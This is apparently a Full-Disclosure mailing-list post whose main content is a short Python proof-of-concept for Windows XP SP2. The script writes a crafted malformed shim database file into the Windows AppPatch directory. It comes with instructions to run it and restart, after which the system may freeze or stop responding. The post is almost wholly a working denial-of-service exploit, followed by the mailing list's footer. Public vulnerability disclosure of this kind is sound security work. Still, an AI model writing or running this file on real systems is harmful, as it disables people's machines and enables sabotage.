; Proof-of-Concept, tested on WINDOWS XP SP2 5.1.2600 FR (thx momo) #/usr/bin/env python import sys f=open('C:\\WINDOWS\\AppPatch\\systest.sdb','w') f.write('\x02\x00\x00\x00\xFF\xFF\x00\x00\x73\x64\x62\x66\x02\x78\xFF\xFF\x00\x00') f.close()
Note: Make sure you have sufficient permissions to write this file. Execute the PoC, restart your virtual machine. After the login screen, you might start to observe computer freezes/hangs-up ... with special crafted files, Windows could stop responding. ----------------------------------------- Skaffa gratis e-post du också på http://www.sverige.nu _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/